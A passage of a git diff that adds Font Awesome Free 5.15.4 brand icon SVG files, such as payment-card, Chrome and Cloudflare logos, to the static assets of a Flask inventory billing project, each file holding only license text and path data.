253H32v-82h23.4c26.1 0 44.1 17 44.1 41.1 0 18.5-13.2 40.9-44.1 40.9zm67.5 0h-16v-82h16zM544 433c0 8.2-6.8 15-15 15H128c189.6-35.6 382.7-139.2 416-160zM74.1 191.6c-5.2-4.9-11.6-6.6-21.9-6.6H48v54.2h4.2c10.3 0 17-2 21.9-6.4 5.7-5.2 8.9-12.8 8.9-20.7s-3.2-15.5-8.9-20.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-jcb.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-jcb.svg new file mode 100644 index 00000000..1269a686 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-jcb.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M431.5 244.3V212c41.2 0 38.5.2 38.5.2 7.3 1.3 13.3 7.3 13.3 16 0 8.8-6 14.5-13.3 15.8-1.2.4-3.3.3-38.5.3zm42.8 20.2c-2.8-.7-3.3-.5-42.8-.5v35c39.6 0 40 .2 42.8-.5 7.5-1.5 13.5-8 13.5-17 0-8.7-6-15.5-13.5-17zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM182 192.3h-57c0 67.1 10.7 109.7-35.8 109.7-19.5 0-38.8-5.7-57.2-14.8v28c30 8.3 68 8.3 68 8.3 97.9 0 82-47.7 82-131.2zm178.5 4.5c-63.4-16-165-14.9-165 59.3 0 77.1 108.2 73.6 165 59.2V287C312.9 311.7 253 309 253 256s59.8-55.6 107.5-31.2v-28zM544 286.5c0-18.5-16.5-30.5-38-32v-.8c19.5-2.7 30.3-15.5 30.3-30.2 0-19-15.7-30-37-31 0 0 6.3-.3-120.3-.3v127.5h122.7c24.3.1 42.3-12.9 42.3-33.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-mastercard.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-mastercard.svg new file mode 100644 index 00000000..600c7cbb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-mastercard.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M482.9 410.3c0 6.8-4.6 11.7-11.2 11.7-6.8 0-11.2-5.2-11.2-11.7 0-6.5 4.4-11.7 11.2-11.7 6.6 0 11.2 5.2 11.2 11.7zm-310.8-11.7c-7.1 0-11.2 5.2-11.2 11.7 0 6.5 4.1 11.7 11.2 11.7 6.5 0 10.9-4.9 10.9-11.7-.1-6.5-4.4-11.7-10.9-11.7zm117.5-.3c-5.4 0-8.7 3.5-9.5 8.7h19.1c-.9-5.7-4.4-8.7-9.6-8.7zm107.8.3c-6.8 0-10.9 5.2-10.9 11.7 0 6.5 4.1 11.7 10.9 11.7 6.8 0 11.2-4.9 11.2-11.7 0-6.5-4.4-11.7-11.2-11.7zm105.9 26.1c0 .3.3.5.3 1.1 0 .3-.3.5-.3 1.1-.3.3-.3.5-.5.8-.3.3-.5.5-1.1.5-.3.3-.5.3-1.1.3-.3 0-.5 0-1.1-.3-.3 0-.5-.3-.8-.5-.3-.3-.5-.5-.5-.8-.3-.5-.3-.8-.3-1.1 0-.5 0-.8.3-1.1 0-.5.3-.8.5-1.1.3-.3.5-.3.8-.5.5-.3.8-.3 1.1-.3.5 0 .8 0 1.1.3.5.3.8.3 1.1.5s.2.6.5 1.1zm-2.2 1.4c.5 0 .5-.3.8-.3.3-.3.3-.5.3-.8 0-.3 0-.5-.3-.8-.3 0-.5-.3-1.1-.3h-1.6v3.5h.8V426h.3l1.1 1.4h.8l-1.1-1.3zM576 81v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V81c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM64 220.6c0 76.5 62.1 138.5 138.5 138.5 27.2 0 53.9-8.2 76.5-23.1-72.9-59.3-72.4-171.2 0-230.5-22.6-15-49.3-23.1-76.5-23.1-76.4-.1-138.5 62-138.5 138.2zm224 108.8c70.5-55 70.2-162.2 0-217.5-70.2 55.3-70.5 162.6 0 217.5zm-142.3 76.3c0-8.7-5.7-14.4-14.7-14.7-4.6 0-9.5 1.4-12.8 6.5-2.4-4.1-6.5-6.5-12.2-6.5-3.8 0-7.6 1.4-10.6 5.4V392h-8.2v36.7h8.2c0-18.9-2.5-30.2 9-30.2 10.2 0 8.2 10.2 8.2 30.2h7.9c0-18.3-2.5-30.2 9-30.2 10.2 0 8.2 10 8.2 30.2h8.2v-23zm44.9-13.7h-7.9v4.4c-2.7-3.3-6.5-5.4-11.7-5.4-10.3 0-18.2 8.2-18.2 19.3 0 11.2 7.9 19.3 18.2 19.3 5.2 0 9-1.9 11.7-5.4v4.6h7.9V392zm40.5 25.6c0-15-22.9-8.2-22.9-15.2 0-5.7 11.9-4.8 18.5-1.1l3.3-6.5c-9.4-6.1-30.2-6-30.2 8.2 0 14.3 22.9 8.3 22.9 15 0 6.3-13.5 5.8-20.7.8l-3.5 6.3c11.2 7.6 32.6 6 32.6-7.5zm35.4 9.3l-2.2-6.8c-3.8 2.1-12.2 4.4-12.2-4.1v-16.6h13.1V392h-13.1v-11.2h-8.2V392h-7.6v7.3h7.6V416c0 17.6 17.3 14.4 22.6 10.9zm13.3-13.4h27.5c0-16.2-7.4-22.6-17.4-22.6-10.6 0-18.2 7.9-18.2 19.3 0 20.5 22.6 23.9 33.8 14.2l-3.8-6c-7.8 6.4-19.6 5.8-21.9-4.9zm59.1-21.5c-4.6-2-11.6-1.8-15.2 4.4V392h-8.2v36.7h8.2V408c0-11.6 9.5-10.1 12.8-8.4l2.4-7.6zm10.6 18.3c0-11.4 11.6-15.1 20.7-8.4l3.8-6.5c-11.6-9.1-32.7-4.1-32.7 15 0 19.8 22.4 23.8 32.7 15l-3.8-6.5c-9.2 6.5-20.7 2.6-20.7-8.6zm66.7-18.3H408v4.4c-8.3-11-29.9-4.8-29.9 13.9 0 19.2 22.4 24.7 29.9 13.9v4.6h8.2V392zm33.7 0c-2.4-1.2-11-2.9-15.2 4.4V392h-7.9v36.7h7.9V408c0-11 9-10.3 12.8-8.4l2.4-7.6zm40.3-14.9h-7.9v19.3c-8.2-10.9-29.9-5.1-29.9 13.9 0 19.4 22.5 24.6 29.9 13.9v4.6h7.9v-51.7zm7.6-75.1v4.6h.8V302h1.9v-.8h-4.6v.8h1.9zm6.6 123.8c0-.5 0-1.1-.3-1.6-.3-.3-.5-.8-.8-1.1-.3-.3-.8-.5-1.1-.8-.5 0-1.1-.3-1.6-.3-.3 0-.8.3-1.4.3-.5.3-.8.5-1.1.8-.5.3-.8.8-.8 1.1-.3.5-.3 1.1-.3 1.6 0 .3 0 .8.3 1.4 0 .3.3.8.8 1.1.3.3.5.5 1.1.8.5.3 1.1.3 1.4.3.5 0 1.1 0 1.6-.3.3-.3.8-.5 1.1-.8.3-.3.5-.8.8-1.1.3-.6.3-1.1.3-1.4zm3.2-124.7h-1.4l-1.6 3.5-1.6-3.5h-1.4v5.4h.8v-4.1l1.6 3.5h1.1l1.4-3.5v4.1h1.1v-5.4zm4.4-80.5c0-76.2-62.1-138.3-138.5-138.3-27.2 0-53.9 8.2-76.5 23.1 72.1 59.3 73.2 171.5 0 230.5 22.6 15 49.5 23.1 76.5 23.1 76.4.1 138.5-61.9 138.5-138.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-paypal.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-paypal.svg new file mode 100644 index 00000000..0613f544 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-paypal.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M186.3 258.2c0 12.2-9.7 21.5-22 21.5-9.2 0-16-5.2-16-15 0-12.2 9.5-22 21.7-22 9.3 0 16.3 5.7 16.3 15.5zM80.5 209.7h-4.7c-1.5 0-3 1-3.2 2.7l-4.3 26.7 8.2-.3c11 0 19.5-1.5 21.5-14.2 2.3-13.4-6.2-14.9-17.5-14.9zm284 0H360c-1.8 0-3 1-3.2 2.7l-4.2 26.7 8-.3c13 0 22-3 22-18-.1-10.6-9.6-11.1-18.1-11.1zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM128.3 215.4c0-21-16.2-28-34.7-28h-40c-2.5 0-5 2-5.2 4.7L32 294.2c-.3 2 1.2 4 3.2 4h19c2.7 0 5.2-2.9 5.5-5.7l4.5-26.6c1-7.2 13.2-4.7 18-4.7 28.6 0 46.1-17 46.1-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.2 8.2-5.8-8.5-14.2-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9 0 20.2-4.9 26.5-11.9-.5 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H200c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm40.5 97.9l63.7-92.6c.5-.5.5-1 .5-1.7 0-1.7-1.5-3.5-3.2-3.5h-19.2c-1.7 0-3.5 1-4.5 2.5l-26.5 39-11-37.5c-.8-2.2-3-4-5.5-4h-18.7c-1.7 0-3.2 1.8-3.2 3.5 0 1.2 19.5 56.8 21.2 62.1-2.7 3.8-20.5 28.6-20.5 31.6 0 1.8 1.5 3.2 3.2 3.2h19.2c1.8-.1 3.5-1.1 4.5-2.6zm159.3-106.7c0-21-16.2-28-34.7-28h-39.7c-2.7 0-5.2 2-5.5 4.7l-16.2 102c-.2 2 1.3 4 3.2 4h20.5c2 0 3.5-1.5 4-3.2l4.5-29c1-7.2 13.2-4.7 18-4.7 28.4 0 45.9-17 45.9-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.3 8.2-5.5-8.5-14-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9.3 0 20.5-4.9 26.5-11.9-.3 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H484c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm47.5-33.3c0-2-1.5-3.5-3.2-3.5h-18.5c-1.5 0-3 1.2-3.2 2.7l-16.2 104-.3.5c0 1.8 1.5 3.5 3.5 3.5h16.5c2.5 0 5-2.9 5.2-5.7L544 191.2v-.3zm-90 51.8c-12.2 0-21.7 9.7-21.7 22 0 9.7 7 15 16.2 15 12 0 21.7-9.2 21.7-21.5.1-9.8-6.9-15.5-16.2-15.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-stripe.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-stripe.svg new file mode 100644 index 00000000..f4cd0f50 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-stripe.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M492.4 220.8c-8.9 0-18.7 6.7-18.7 22.7h36.7c0-16-9.3-22.7-18-22.7zM375 223.4c-8.2 0-13.3 2.9-17 7l.2 52.8c3.5 3.7 8.5 6.7 16.8 6.7 13.1 0 21.9-14.3 21.9-33.4 0-18.6-9-33.2-21.9-33.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM122.2 281.1c0 25.6-20.3 40.1-49.9 40.3-12.2 0-25.6-2.4-38.8-8.1v-33.9c12 6.4 27.1 11.3 38.9 11.3 7.9 0 13.6-2.1 13.6-8.7 0-17-54-10.6-54-49.9 0-25.2 19.2-40.2 48-40.2 11.8 0 23.5 1.8 35.3 6.5v33.4c-10.8-5.8-24.5-9.1-35.3-9.1-7.5 0-12.1 2.2-12.1 7.7 0 16 54.3 8.4 54.3 50.7zm68.8-56.6h-27V275c0 20.9 22.5 14.4 27 12.6v28.9c-4.7 2.6-13.3 4.7-24.9 4.7-21.1 0-36.9-15.5-36.9-36.5l.2-113.9 34.7-7.4v30.8H191zm74 2.4c-4.5-1.5-18.7-3.6-27.1 7.4v84.4h-35.5V194.2h30.7l2.2 10.5c8.3-15.3 24.9-12.2 29.6-10.5h.1zm44.1 91.8h-35.7V194.2h35.7zm0-142.9l-35.7 7.6v-28.9l35.7-7.6zm74.1 145.5c-12.4 0-20-5.3-25.1-9l-.1 40.2-35.5 7.5V194.2h31.3l1.8 8.8c4.9-4.5 13.9-11.1 27.8-11.1 24.9 0 48.4 22.5 48.4 63.8 0 45.1-23.2 65.5-48.6 65.6zm160.4-51.5h-69.5c1.6 16.6 13.8 21.5 27.6 21.5 14.1 0 25.2-3 34.9-7.9V312c-9.7 5.3-22.4 9.2-39.4 9.2-34.6 0-58.8-21.7-58.8-64.5 0-36.2 20.5-64.9 54.3-64.9 33.7 0 51.3 28.7 51.3 65.1 0 3.5-.3 10.9-.4 12.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-visa.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-visa.svg new file mode 100644 index 00000000..e190ac6c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cc-visa.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M470.1 231.3s7.6 37.2 9.3 45H446c3.3-8.9 16-43.5 16-43.5-.2.3 3.3-9.1 5.3-14.9l2.8 13.4zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM152.5 331.2L215.7 176h-42.5l-39.3 106-4.3-21.5-14-71.4c-2.3-9.9-9.4-12.7-18.2-13.1H32.7l-.7 3.1c15.8 4 29.9 9.8 42.2 17.1l35.8 135h42.5zm94.4.2L272.1 176h-40.2l-25.1 155.4h40.1zm139.9-50.8c.2-17.7-10.6-31.2-33.7-42.3-14.1-7.1-22.7-11.9-22.7-19.2.2-6.6 7.3-13.4 23.1-13.4 13.1-.3 22.7 2.8 29.9 5.9l3.6 1.7 5.5-33.6c-7.9-3.1-20.5-6.6-36-6.6-39.7 0-67.6 21.2-67.8 51.4-.3 22.3 20 34.7 35.2 42.2 15.5 7.6 20.8 12.6 20.8 19.3-.2 10.4-12.6 15.2-24.1 15.2-16 0-24.6-2.5-37.7-8.3l-5.3-2.5-5.6 34.9c9.4 4.3 26.8 8.1 44.8 8.3 42.2.1 69.7-20.8 70-53zM528 331.4L495.6 176h-31.1c-9.6 0-16.9 2.8-21 12.9l-59.7 142.5H426s6.9-19.2 8.4-23.3H486c1.2 5.5 4.8 23.3 4.8 23.3H528z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/centercode.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/centercode.svg new file mode 100644 index 00000000..d9b18f53 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/centercode.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M329.2 268.6c-3.8 35.2-35.4 60.6-70.6 56.8-35.2-3.8-60.6-35.4-56.8-70.6 3.8-35.2 35.4-60.6 70.6-56.8 35.1 3.8 60.6 35.4 56.8 70.6zm-85.8 235.1C96.7 496-8.2 365.5 10.1 224.3c11.2-86.6 65.8-156.9 139.1-192 161-77.1 349.7 37.4 354.7 216.6 4.1 147-118.4 262.2-260.5 254.8zm179.9-180c27.9-118-160.5-205.9-237.2-234.2-57.5 56.3-69.1 188.6-33.8 344.4 68.8 15.8 169.1-26.4 271-110.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/centos.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/centos.svg new file mode 100644 index 00000000..2ffe18cb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/centos.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M289.6 97.5l31.6 31.7-76.3 76.5V97.5zm-162.4 31.7l76.3 76.5V97.5h-44.7zm41.5-41.6h44.7v127.9l10.8 10.8 10.8-10.8V87.6h44.7L224.2 32zm26.2 168.1l-10.8-10.8H55.5v-44.8L0 255.7l55.5 55.6v-44.8h128.6l10.8-10.8zm79.3-20.7h107.9v-44.8l-31.6-31.7zm173.3 20.7L392 200.1v44.8H264.3l-10.8 10.8 10.8 10.8H392v44.8l55.5-55.6zM65.4 176.2l32.5-31.7 90.3 90.5h15.3v-15.3l-90.3-90.5 31.6-31.7H65.4zm316.7-78.7h-78.5l31.6 31.7-90.3 90.5V235h15.3l90.3-90.5 31.6 31.7zM203.5 413.9V305.8l-76.3 76.5 31.6 31.7h44.7zM65.4 235h108.8l-76.3-76.5-32.5 31.7zm316.7 100.2l-31.6 31.7-90.3-90.5h-15.3v15.3l90.3 90.5-31.6 31.7h78.5zm0-58.8H274.2l76.3 76.5 31.6-31.7zm-60.9 105.8l-76.3-76.5v108.1h44.7zM97.9 352.9l76.3-76.5H65.4v44.8zm181.8 70.9H235V295.9l-10.8-10.8-10.8 10.8v127.9h-44.7l55.5 55.6zm-166.5-41.6l90.3-90.5v-15.3h-15.3l-90.3 90.5-32.5-31.7v78.7h79.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/chrome.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/chrome.svg new file mode 100644 index 00000000..8c5c07fa --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/chrome.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M131.5 217.5L55.1 100.1c47.6-59.2 119-91.8 192-92.1 42.3-.3 85.5 10.5 124.8 33.2 43.4 25.2 76.4 61.4 97.4 103L264 133.4c-58.1-3.4-113.4 29.3-132.5 84.1zm32.9 38.5c0 46.2 37.4 83.6 83.6 83.6s83.6-37.4 83.6-83.6-37.4-83.6-83.6-83.6-83.6 37.3-83.6 83.6zm314.9-89.2L339.6 174c37.9 44.3 38.5 108.2 6.6 157.2L234.1 503.6c46.5 2.5 94.4-7.7 137.8-32.9 107.4-62 150.9-192 107.4-303.9zM133.7 303.6L40.4 120.1C14.9 159.1 0 205.9 0 256c0 124 90.8 226.7 209.5 244.9l63.7-124.8c-57.6 10.8-113.2-20.8-139.5-72.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/chromecast.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/chromecast.svg new file mode 100644 index 00000000..fcce4fc6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/chromecast.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M447.8,64H64c-23.6,0-42.7,19.1-42.7,42.7v63.9H64v-63.9h383.8v298.6H298.6V448H448c23.6,0,42.7-19.1,42.7-42.7V106.7 C490.7,83.1,471.4,64,447.8,64z M21.3,383.6L21.3,383.6l0,63.9h63.9C85.2,412.2,56.6,383.6,21.3,383.6L21.3,383.6z M21.3,298.6V341 c58.9,0,106.6,48.1,106.6,107h42.7C170.7,365.6,103.7,298.7,21.3,298.6z M213.4,448h42.7c-0.5-129.5-105.3-234.3-234.8-234.6l0,42.4 C127.3,255.6,213.3,342,213.4,448z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cloudflare.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cloudflare.svg new file mode 100644 index 00000000..5c4d7654 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cloudflare.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M407.906,319.913l-230.8-2.928a4.58,4.58,0,0,1-3.632-1.926,4.648,4.648,0,0,1-.494-4.147,6.143,6.143,0,0,1,5.361-4.076L411.281,303.9c27.631-1.26,57.546-23.574,68.022-50.784l13.286-34.542a7.944,7.944,0,0,0,.524-2.936,7.735,7.735,0,0,0-.164-1.631A151.91,151.91,0,0,0,201.257,198.4,68.12,68.12,0,0,0,94.2,269.59C41.924,271.106,0,313.728,0,366.12a96.054,96.054,0,0,0,1.029,13.958,4.508,4.508,0,0,0,4.445,3.871l426.1.051c.043,0,.08-.019.122-.02a5.606,5.606,0,0,0,5.271-4l3.273-11.265c3.9-13.4,2.448-25.8-4.1-34.9C430.124,325.423,420.09,320.487,407.906,319.913ZM513.856,221.1c-2.141,0-4.271.062-6.391.164a3.771,3.771,0,0,0-3.324,2.653l-9.077,31.193c-3.9,13.4-2.449,25.786,4.1,34.89,6.02,8.4,16.054,13.323,28.238,13.9l49.2,2.939a4.491,4.491,0,0,1,3.51,1.894,4.64,4.64,0,0,1,.514,4.169,6.153,6.153,0,0,1-5.351,4.075l-51.125,2.939c-27.754,1.27-57.669,23.574-68.145,50.784l-3.695,9.606a2.716,2.716,0,0,0,2.427,3.68c.046,0,.088.017.136.017h175.91a4.69,4.69,0,0,0,4.539-3.37,124.807,124.807,0,0,0,4.682-34C640,277.3,583.524,221.1,513.856,221.1Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cloudscale.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cloudscale.svg new file mode 100644 index 00000000..4f9f0bf5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cloudscale.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M318.1 154l-9.4 7.6c-22.5-19.3-51.5-33.6-83.3-33.6C153.8 128 96 188.8 96 260.3c0 6.6.4 13.1 1.4 19.4-2-56 41.8-97.4 92.6-97.4 24.2 0 46.2 9.4 62.6 24.7l-25.2 20.4c-8.3-.9-16.8 1.8-23.1 8.1-11.1 11-11.1 28.9 0 40 11.1 11 28.9 11 40 0 6.3-6.3 9-14.9 8.1-23.1l75.2-88.8c6.3-6.5-3.3-15.9-9.5-9.6zm-83.8 111.5c-5.6 5.5-14.6 5.5-20.2 0-5.6-5.6-5.6-14.6 0-20.2s14.6-5.6 20.2 0 5.6 14.7 0 20.2zM224 32C100.5 32 0 132.5 0 256s100.5 224 224 224 224-100.5 224-224S347.5 32 224 32zm0 384c-88.2 0-160-71.8-160-160S135.8 96 224 96s160 71.8 160 160-71.8 160-160 160z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cloudsmith.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cloudsmith.svg new file mode 100644 index 00000000..260815f9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cloudsmith.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 332 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M332.5 419.9c0 46.4-37.6 84.1-84 84.1s-84-37.7-84-84.1 37.6-84 84-84 84 37.6 84 84zm-84-243.9c46.4 0 80-37.6 80-84s-33.6-84-80-84-88 37.6-88 84-29.6 76-76 76-84 41.6-84 88 37.6 80 84 80 84-33.6 84-80 33.6-80 80-80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cloudversify.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cloudversify.svg new file mode 100644 index 00000000..72f8e29c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/cloudversify.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 616 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M148.6 304c8.2 68.5 67.4 115.5 146 111.3 51.2 43.3 136.8 45.8 186.4-5.6 69.2 1.1 118.5-44.6 131.5-99.5 14.8-62.5-18.2-132.5-92.1-155.1-33-88.1-131.4-101.5-186.5-85-57.3 17.3-84.3 53.2-99.3 109.7-7.8 2.7-26.5 8.9-45 24.1 11.7 0 15.2 8.9 15.2 19.5v20.4c0 10.7-8.7 19.5-19.5 19.5h-20.2c-10.7 0-19.5-6-19.5-16.7V240H98.8C95 240 88 244.3 88 251.9v40.4c0 6.4 5.3 11.8 11.7 11.8h48.9zm227.4 8c-10.7 46.3 21.7 72.4 55.3 86.8C324.1 432.6 259.7 348 296 288c-33.2 21.6-33.7 71.2-29.2 92.9-17.9-12.4-53.8-32.4-57.4-79.8-3-39.9 21.5-75.7 57-93.9C297 191.4 369.9 198.7 400 248c-14.1-48-53.8-70.1-101.8-74.8 30.9-30.7 64.4-50.3 114.2-43.7 69.8 9.3 133.2 82.8 67.7 150.5 35-16.3 48.7-54.4 47.5-76.9l10.5 19.6c11.8 22 15.2 47.6 9.4 72-9.2 39-40.6 68.8-79.7 76.5-32.1 6.3-83.1-5.1-91.8-59.2zM128 208H88.2c-8.9 0-16.2-7.3-16.2-16.2v-39.6c0-8.9 7.3-16.2 16.2-16.2H128c8.9 0 16.2 7.3 16.2 16.2v39.6c0 8.9-7.3 16.2-16.2 16.2zM10.1 168C4.5 168 0 163.5 0 157.9v-27.8c0-5.6 4.5-10.1 10.1-10.1h27.7c5.5 0 10.1 4.5 10.1 10.1v27.8c0 5.6-4.5 10.1-10.1 10.1H10.1zM168 142.7v-21.4c0-5.1 4.2-9.3 9.3-9.3h21.4c5.1 0 9.3 4.2 9.3 9.3v21.4c0 5.1-4.2 9.3-9.3 9.3h-21.4c-5.1 0-9.3-4.2-9.3-9.3zM56 235.5v25c0 6.3-5.1 11.5-11.4 11.5H19.4C13.1 272 8 266.8 8 260.5v-25c0-6.3 5.1-11.5 11.4-11.5h25.1c6.4 0 11.5 5.2 11.5 11.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using 